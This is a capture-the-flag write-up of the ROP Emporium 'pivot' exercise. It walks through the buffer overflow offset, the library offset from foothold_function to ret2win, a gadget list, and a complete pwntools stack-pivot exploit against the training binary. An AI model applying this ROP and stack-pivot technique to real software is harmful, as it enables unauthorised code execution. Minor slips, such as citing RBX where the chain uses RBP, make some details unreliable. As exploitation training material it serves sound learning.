ropemporium - pivot
This challenge was a very good beginning for the idea of stack pivoting, and how to call functions using offsets of the libraries. Even though is very simple, concepts like calculating the offset of functions and call another one, based on that offset, were applied.
Starting with the check for the file protections:
File protections
- Partial RELRO
- NX enabled
Sending a payload generated by metasploit-pattern_create, and calculating the offset with metasploit-pattern_offset, the offset found was 40.
Buffer overflow with the found offset
Offset match at 40.
For this challenge, the description explains that we need to just call the ret2win function. Since the default stack smashing challenges provides us a plenty of space to build our chain, this one is a bit different, providing basically none.
Looking into the program imports using rabin2, there ir no ret2win function, but we have the foothold_function.
rabin2 -i pivot
Function foothold_function imported.
This is because the ret2win function is present only inside the provided library, and is not called by the binary directly, and we have to find a way to call it in our chain.
nm libpivot.so | grep ' T '
The ret2win function inside the libpivot lib
Executing the program normally and sending a big payload, the stack already hit a non-writable place less than 30 bytes.
This place on the stack is non-writable
So, the challenge consists of pivoting the stack to another place that we could send our rop chain properly.
The foothold_function is called inside the binary, and it will be used to pivot the stack to a place with more space.
During the normal execution flow, the “gods kindly bestowed upon us” a place to pivot the stack to:
0x7ffff7a0df10
Checking the position address, is perceived that we have indeed a plenty of space there, serving as a adequate space for the chain to be inserted.
No data in the address allocated
Now we have to find a way to call the function in the imported lib, using the offset of the foothold_function and ret2win functions. Calculating the offset of the base addresses, we could discover how many bytes are needed to add to the foothold_function address to reach ret2win.
Base addresses of the functions foothold_function and ret2win
Calculating the value using python, the offset returned was 279 or 0x117.
Offset from foothold_function to ret2win
From now, is possible to create a logic for our rop chain:
- Pivot the stack to another place
- Call the foothold_function from PLT to update the GOT address.
- Call the ret2win function from the address calculated from the offset.
Gathering our gadgets to achieve the desired goals, we found the following:
1: 0x4009bb : pop rax; ret
2: 0x4009c0 : mov rax, [rax]
3: 0x4009bd : xchg rsp, rax ; ret
4: 0x4009c4 : add rax, rbp ; ret
5: 0x4007c1 : jmp rax
Since we need to send 2 chains to the program, we built them as follows:
First chain:
- Fill the buffer until RBP position;
- Set the RBP position on the stack smash to the ret2win function offset relative to foothold_function@got;
- Use (1) to set RAX to the new stack position;
- Use (3) to set RAX to RSP and pivot the stack.
Second chain:
- Address of foothold_function@plt;
- Use (1) to set RAX to the foothold_function@got address;
- Use (2) to set RAX to the value inside the foothold_function@got address;
- Use (4) to add the offset (inside RBX) to RAX;
- Use (5) to jump to the address inside RAX, which is the ret2winfunction.
Coming out with the final exploit, we got the flag.
Flag obtained
Final exploit code:
#!/usr/bin/env python
from pwn import *
foothold_function_plt = p64(0x400720)
foothold_function_got = p64(0x601040)
POP_RAX = p64(0x4009bb) # pop rax ; ret
MOV_RAX_pRAX = p64(0x4009c0) # mov rax, [rax]
XCHG_RSP_RAX = p64(0x4009bd) # xchg rsp, rax ; ret
ADD_RAX_RBP = p64(0x4009c4) # add rax,rbp
JMP_RAX = p64(0x4007c1) # jmp rax
elf = context.binary = ELF('./pivot')
io = process(elf.path)
io.recvuntil(b'pivot: ')
info('Getting the pivot place...')
PIVOT_DEST = int(io.recv(14),16)
info('Pivot new location: %#x', PIVOT_DEST)
PIVOT_DEST = p64(PIVOT_DEST)
io.recv(1024)
BUFFER_FILL = b"B"*32
RBP = p64(279)
first_chain = BUFFER_FILL
first_chain += RBP
first_chain += POP_RAX
first_chain += PIVOT_DEST
first_chain += XCHG_RSP_RAX
second_chain = foothold_function_plt
second_chain += POP_RAX
second_chain += foothold_function_got
second_chain += MOV_RAX_pRAX
second_chain += ADD_RAX_RBP
second_chain += JMP_RAX
io.send(second_chain)
io.send(first_chain)
io.interactive()